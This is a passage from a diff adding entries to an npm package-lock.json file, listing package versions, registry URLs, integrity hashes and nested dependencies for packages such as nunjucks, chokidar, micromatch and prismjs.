"https://registry.npmjs.org/no-case/-/no-case-2.3.2.tgz", + "integrity": "sha512-rmTZ9kz+f3rCvK2TD1Ue/oZlns7OGoIWP4fc3llxxRXlOkHKoWPPWJOfFYpITabSow43QJbRIoHQXtt10VldyQ==", + "requires": { + "lower-case": "^1.1.1" + } + }, + "node-fingerprint": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/node-fingerprint/-/node-fingerprint-0.0.2.tgz", + "integrity": "sha1-Mcur63GmeufdWn3AQuUcPHWGhQE=" + }, + "node-prismjs": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/node-prismjs/-/node-prismjs-0.1.2.tgz", + "integrity": "sha512-WKb6ZbUlPWarzS8jR2UdIbV4lYpt6sOTkIx3u5Ldz55K1Zzs982KyF6aj1zjZbrrx/UGZSZ1e0j28lIzcm3ceg==", + "requires": { + "prismjs": "~1.6.0" + }, + "dependencies": { + "prismjs": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/prismjs/-/prismjs-1.6.0.tgz", + "integrity": "sha1-EY2V+3pm26InLjQ7NF9SNmWds2U=", + "requires": { + "clipboard": "^1.5.5" + } + } + } + }, + "nopt": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/nopt/-/nopt-2.1.2.tgz", + "integrity": "sha1-bMzZd7gBMqB3MdbozljCyDA8+a8=", + "requires": { + "abbrev": "1" + } + }, + "normalize-path": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-2.1.1.tgz", + "integrity": "sha1-GrKLVW4Zg2Oowab35vogE3/mrtk=", + "requires": { + "remove-trailing-separator": "^1.0.1" + } + }, + "npm-run-path": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-2.0.2.tgz", + "integrity": "sha1-NakjLfo11wZ7TLLd8jV7GHFTbF8=", + "requires": { + "path-key": "^2.0.0" + } + }, + "nth-check": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-1.0.2.tgz", + "integrity": "sha512-WeBOdju8SnzPN5vTUJYxYUxLeXpCaVP5i5e0LF8fg7WORF2Wd7wFX/pk0tYZk7s8T+J7VLy0Da6J1+wCT0AtHg==", + "requires": { + "boolbase": "~1.0.0" + } + }, + "number-is-nan": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/number-is-nan/-/number-is-nan-1.0.1.tgz", + "integrity": "sha1-CXtgK1NCKlIsGvuHkDGDNpQaAR0=" + }, + "nunjucks": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/nunjucks/-/nunjucks-3.2.0.tgz", + "integrity": "sha512-YS/qEQ6N7qCnUdm6EoYRBfJUdWNT0PpKbbRnogV2XyXbBm2STIP1O6yrdZHgwMVK7fIYUx7i8+yatEixnXSB1w==", + "requires": { + "a-sync-waterfall": "^1.0.0", + "asap": "^2.0.3", + "chokidar": "^2.0.0", + "yargs": "^3.32.0" + }, + "dependencies": { + "anymatch": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-2.0.0.tgz", + "integrity": "sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==", + "optional": true, + "requires": { + "micromatch": "^3.1.4", + "normalize-path": "^2.1.1" + }, + "dependencies": { + "normalize-path": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-2.1.1.tgz", + "integrity": "sha1-GrKLVW4Zg2Oowab35vogE3/mrtk=", + "optional": true, + "requires": { + "remove-trailing-separator": "^1.0.1" + } + } + } + }, + "arr-diff": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz", + "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=", + "optional": true + }, + "array-unique": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz", + "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=" + }, + "braces": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz", + "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", + "requires": { + "arr-flatten": "^1.1.0", + "array-unique": "^0.3.2", + "extend-shallow": "^2.0.1", + "fill-range": "^4.0.0", + "isobject": "^3.0.1", + "repeat-element": "^1.1.2", + "snapdragon": "^0.8.1", + "snapdragon-node": "^2.0.1", + "split-string": "^3.0.2", + "to-regex": "^3.0.1" + }, + "dependencies": { + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "requires": { + "is-extendable": "^0.1.0" + } + } + } + }, + "chokidar": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-2.1.5.tgz", + "integrity": "sha512-i0TprVWp+Kj4WRPtInjexJ8Q+BqTE909VpH8xVhXrJkoc5QC8VO9TryGOqTr+2hljzc1sC62t22h5tZePodM/A==", + "optional": true, + "requires": { + "anymatch": "^2.0.0", + "async-each": "^1.0.1", + "braces": "^2.3.2", + "fsevents": "^1.2.7", + "glob-parent": "^3.1.0", + "inherits": "^2.0.3", + "is-binary-path": "^1.0.0", + "is-glob": "^4.0.0", + "normalize-path": "^3.0.0", + "path-is-absolute": "^1.0.0", + "readdirp": "^2.2.1", + "upath": "^1.1.1" + } + }, + "expand-brackets": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz", + "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", + "optional": true, + "requires": { + "debug": "^2.3.3", + "define-property": "^0.2.5", + "extend-shallow": "^2.0.1", + "posix-character-classes": "^0.1.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" + }, + "dependencies": { + "define-property": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", + "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", + "optional": true, + "requires": { + "is-descriptor": "^0.1.0" + } + }, + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "optional": true, + "requires": { + "is-extendable": "^0.1.0" + } + }, + "is-accessor-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", + "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", + "optional": true, + "requires": { + "kind-of": "^3.0.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "optional": true, + "requires": { + "is-buffer": "^1.1.5" + } + } + } + }, + "is-data-descriptor": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", + "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", + "optional": true, + "requires": { + "kind-of": "^3.0.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "optional": true, + "requires": { + "is-buffer": "^1.1.5" + } + } + } + }, + "is-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", + "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", + "optional": true, + "requires": { + "is-accessor-descriptor": "^0.1.6", + "is-data-descriptor": "^0.1.4", + "kind-of": "^5.0.0" + } + }, + "kind-of": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", + "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", + "optional": true + } + } + }, + "extglob": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz", + "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", + "optional": true, + "requires": { + "array-unique": "^0.3.2", + "define-property": "^1.0.0", + "expand-brackets": "^2.1.4", + "extend-shallow": "^2.0.1", + "fragment-cache": "^0.2.1", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" + }, + "dependencies": { + "define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", + "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", + "optional": true, + "requires": { + "is-descriptor": "^1.0.0" + } + }, + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "optional": true, + "requires": { + "is-extendable": "^0.1.0" + } + } + } + }, + "fill-range": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz", + "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", + "requires": { + "extend-shallow": "^2.0.1", + "is-number": "^3.0.0", + "repeat-string": "^1.6.1", + "to-regex-range": "^2.1.0" + }, + "dependencies": { + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "requires": { + "is-extendable": "^0.1.0" + } + } + } + }, + "glob-parent": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-3.1.0.tgz", + "integrity": "sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=", + "optional": true, + "requires": { + "is-glob": "^3.1.0", + "path-dirname": "^1.0.0" + }, + "dependencies": { + "is-glob": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-3.1.0.tgz", + "integrity": "sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=", + "optional": true, + "requires": { + "is-extglob": "^2.1.0" + } + } + } + }, + "is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "optional": true, + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "optional": true, + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "optional": true, + "requires": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + } + }, + "is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=" + }, + "is-glob": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.1.tgz", + "integrity": "sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==", + "optional": true, + "requires": { + "is-extglob": "^2.1.1" + } + }, + "is-number": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", + "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", + "requires": { + "kind-of": "^3.0.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "requires": { + "is-buffer": "^1.1.5" + } + } + } + }, + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=" + }, + "kind-of": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", + "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==" + }, + "micromatch": { + "version": "3.1.10", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", + "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", + "optional": true, + "requires": { + "arr-diff": "^4.0.0", + "array-unique": "^0.3.2", + "braces": "^2.3.1", + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "extglob": "^2.0.4", + "fragment-cache": "^0.2.1", + "kind-of": "^6.0.2", + "nanomatch": "^1.2.9", + "object.pick": "^1.3.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.2" + } + }, + "normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "optional": true + } + } + }, + "object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=" + }, + "object-copy": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/object-copy/-/object-copy-0.1.0.tgz", + "integrity": "sha1-fn2Fi3gb18mRpBupde04EnVOmYw=", + "requires": { + "copy-descriptor": "^0.1.0", + "define-property": "^0.2.5", + "kind-of": "^3.0.3" + }, + "dependencies": { + "define-property": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", + "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", + "requires": { + "is-descriptor": "^0.1.0" + } + } + } + }, + "object-visit": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/object-visit/-/object-visit-1.0.1.tgz", + "integrity": "sha1-95xEk68MU3e1n+OdOV5BBC3QRbs=", + "requires": { + "isobject": "^3.0.0" + }, + "dependencies": { + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=" + } + } + }, + "object.omit": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/object.omit/-/object.omit-2.0.1.tgz", + "integrity": "sha1-Gpx0SCnznbuFjHbKNXmuKlTr0fo=", + "requires": { + "for-own": "^0.1.4", + "is-extendable": "^0.1.1" + } + }, + "object.pick": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/object.pick/-/object.pick-1.3.0.tgz", + "integrity": "sha1-h6EKxMFpS9Lhy/U1kaZhQftd10c=", + "requires": { + "isobject": "^3.0.1" + }, + "dependencies": { + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=" + } + } + }, + "on-finished": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.3.0.tgz", + "integrity": "sha1-IPEzZIGwg811M3mSoWlxqi2QaUc=", + "requires": { + "ee-first": "1.1.1" + } + }, + "on-headers": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/on-headers/-/on-headers-1.0.2.tgz", + "integrity": "sha512-pZAE+FJLoyITytdqK0U5s+FIpjN0JP3OzFi/u8Rx+EV5/W+JTWGXG8xFzevE7AjBfDqHv/8vL8qQsIhHnqRkrA==" + }, + "once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", + "requires": { + "wrappy": "1" + } + }, + "opn": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/opn/-/opn-4.0.2.tgz", + "integrity": "sha1-erwi5kTf9jsKltWrfyeQwPAavJU=", + "requires": { + "object-assign": "^4.0.1", + "pinkie-promise": "^2.0.0" + } + }, + "optimist": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/optimist/-/optimist-0.6.1.tgz", + "integrity": "sha1-2j6nRob6IaGaERwybpDrFaAZZoY=", + "requires": { + "minimist": "~0.0.1", + "wordwrap": "~0.0.2" + }, + "dependencies": { + "minimist": { + "version": "0.0.10", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-0.0.10.tgz", + "integrity": "sha1-3j+YVD2/lggr5IrRoMfNqDYwHc8=" + } + } + }, + "os-homedir": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/os-homedir/-/os-homedir-1.0.2.tgz", + "integrity": "sha1-/7xJiDNuDoM94MFox+8VISGqf7M=" + }, + "os-locale": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-1.4.0.tgz", + "integrity": "sha1-IPnxeuKe00XoveWDsT0gCYA8FNk=", + "requires": { + "lcid": "^1.0.0" + } + }, + "p-defer": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/p-defer/-/p-defer-1.0.0.tgz", + "integrity": "sha1-n26xgvbJqozXQwBKfU+WsZaw+ww=" + }, + "p-finally": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz", + "integrity": "sha1-P7z7FbiZpEEjs0ttzBi3JDNqLK4=" + }, + "p-is-promise": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/p-is-promise/-/p-is-promise-2.1.0.tgz", + "integrity": "sha512-Y3W0wlRPK8ZMRbNq97l4M5otioeA5lm1z7bkNkxCka8HSPjR0xRWmpCmc9utiaLP9Jb1eD8BgeIxTW4AIF45Pg==" + }, + "p-limit": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.2.0.tgz", + "integrity": "sha512-pZbTJpoUsCzV48Mc9Nh51VbwO0X9cuPFE8gYwx9BTCt9SF8/b7Zljd2fVgOxhIF/HDTKgpVzs+GPhyKfjLLFRQ==", + "requires": { + "p-try": "^2.0.0" + } + }, + "p-locate": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz", + "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", + "requires": { + "p-limit": "^2.0.0" + } + }, + "p-try": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==" + }, + "parse-glob": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/parse-glob/-/parse-glob-3.0.4.tgz", + "integrity": "sha1-ssN2z7EfNVE7rdFz7wu246OIORw=", + "requires": { + "glob-base": "^0.3.0", + "is-dotfile": "^1.0.0", + "is-extglob": "^1.0.0", + "is-glob": "^2.0.0" + } + }, + "parseurl": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", + "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==" + }, + "pascalcase": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/pascalcase/-/pascalcase-0.1.1.tgz", + "integrity": "sha1-s2PlXoAGym/iF4TS2yK9FdeRfxQ=" + }, + "path-dirname": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/path-dirname/-/path-dirname-1.0.2.tgz", + "integrity": "sha1-zDPSTVJeCZpTiMAzbG4yuRYGCeA=", + "optional": true + }, + "path-exists": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", + "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=" + }, + "path-is-absolute": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=" + }, + "path-key": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-2.0.1.tgz", + "integrity": "sha1-QRyttXTFoUDTpLGRDUDYDMn0C0A=" + }, + "path-parse": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.6.tgz", + "integrity": "sha512-GSmOT2EbHrINBf9SR7CDELwlJ8AENk3Qn7OikK4nFYAu3Ote2+JYNVvkpAEQm3/TLNEJFD/xZJjzyxg3KBWOzw==" + }, + "pinkie": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/pinkie/-/pinkie-2.0.4.tgz", + "integrity": "sha1-clVrgM+g1IqXToDnckjoDtT3+HA=" + }, + "pinkie-promise": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/pinkie-promise/-/pinkie-promise-2.0.1.tgz", + "integrity": "sha1-ITXW36ejWMBprJsXh3YogihFD/o=", + "requires": { + "pinkie": "^2.0.0" + } + }, + "posix-character-classes": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/posix-character-classes/-/posix-character-classes-0.1.1.tgz", + "integrity": "sha1-AerA/jta9xoqbAL+q7jB/vfgDqs=" + }, + "preserve": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/preserve/-/preserve-0.2.0.tgz", + "integrity": "sha1-gV7R9uvGWSb4ZbMQwHE7yzMVzks=" + }, + "pretty-hrtime": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/pretty-hrtime/-/pretty-hrtime-1.0.3.tgz", + "integrity": "sha1-t+PqQkNaTJsnWdmeDyAesZWALuE=" + }, + "prism-themes": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/prism-themes/-/prism-themes-1.1.0.tgz", + "integrity": "sha512-xBkflbKbstGGasW3P68KQzAuObLQeH//I5mn37jKVHVDrRLp4Xct/n8F/tV5h+CKIMa3nDAZ2q0bt8ItSiS72A==" + }, + "prismjs": { + "version": "1.16.0", + "resolved": "https://registry.npmjs.org/prismjs/-/prismjs-1.16.0.tgz", + "integrity": "sha512-OA4MKxjFZHSvZcisLGe14THYsug/nF6O1f0pAJc0KN0wTyAcLqmsbE+lTGKSpyh+9pEW57+k6pg2AfYR+coyHA==", + "requires": { + "clipboard": "^2.0.0" + }, + "dependencies": { + "clipboard": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/clipboard/-/clipboard-2.0.4.tgz", + "integrity": "sha512-Vw26VSLRpJfBofiVaFb/I8PVfdI1OxKcYShe6fm0sP/DtmiWQNCjhM/okTvdCo0G+lMMm1rMYbk4IK4x1X+kgQ==", + "optional": true, + "requires": { + "good-listener": "^1.2.2", + "select": "^1.1.2", + "tiny-emitter": "^2.0.0" + } + } + } + }, + "process-nextick-args": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", + "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==" + }, + "pseudomap": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/pseudomap/-/pseudomap-1.0.2.tgz", + "integrity": "sha1-8FKijacOYYkX7wqKw0wa5aaChrM=" + }, + "pump": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", + "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", + "requires": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "randomatic": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/randomatic/-/randomatic-3.1.1.tgz", + "integrity": "sha512-TuDE5KxZ0J461RVjrJZCJc+J+zCkTb1MbH9AQUq68sMhOMcy9jLcb3BrZKgp9q9Ncltdg4QVqWrH02W2EFFVYw==", + "requires": { + "is-number": "^4.0.0", + "kind-of": "^6.0.0", + "math-random": "^1.0.1" + }, + "dependencies": { + "is-number": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-4.0.0.tgz", + "integrity": "sha512-rSklcAIlf1OmFdyAqbnWTLVelsQ58uvZ66S/ZyawjWqIviTWCjg2PzVGw8WUA+nNuPTqb4wgA+NszrJ+08LlgQ==" + }, + "kind-of": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", + "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==" + } + } + }, + "range-parser": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.0.tgz", + "integrity": "sha1-9JvmtIeJTdxA3MlKMi9hEJLgDV4=" + }, + "readable-stream": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.3.0.tgz", + "integrity": "sha512-EsI+s3k3XsW+fU8fQACLN59ky34AZ14LoeVZpYwmZvldCFo0r0gnelwF2TcMjLor/BTL5aDJVBMkss0dthToPw==", + "requires": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + } + }, + "readdirp": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-2.2.1.tgz", + "integrity": "sha512-1JU/8q+VgFZyxwrJ+SVIOsh+KywWGpds3NTqikiKpDMZWScmAYyKIgqkO+ARvNWJfXeXR1zxz7aHF4u4CyH6vQ==", + "requires": { + "graceful-fs": "^4.1.11", + "micromatch": "^3.1.10", + "readable-stream": "^2.0.2" + }, + "dependencies": { + "arr-diff": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz", + "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=" + }, + "array-unique": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz", + "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=" + }, + "braces": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz", + "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", + "requires": { + "arr-flatten": "^1.1.0", + "array-unique": "^0.3.2", + "extend-shallow": "^2.0.1", + "fill-range": "^4.0.0", + "isobject": "^3.0.1", + "repeat-element": "^1.1.2", + "snapdragon": "^0.8.1", + "snapdragon-node": "^2.0.1", + "split-string": "^3.0.2", + "to-regex": "^3.0.1" + }, + "dependencies": { + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "requires": { + "is-extendable": "^0.1.0" + } + } + } + }, + "expand-brackets": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz", + "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", + "requires": { + "debug": "^2.3.3", + "define-property": "^0.2.5", + "extend-shallow": "^2.0.1", + "posix-character-classes": "^0.1.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" + }, + "dependencies": { + 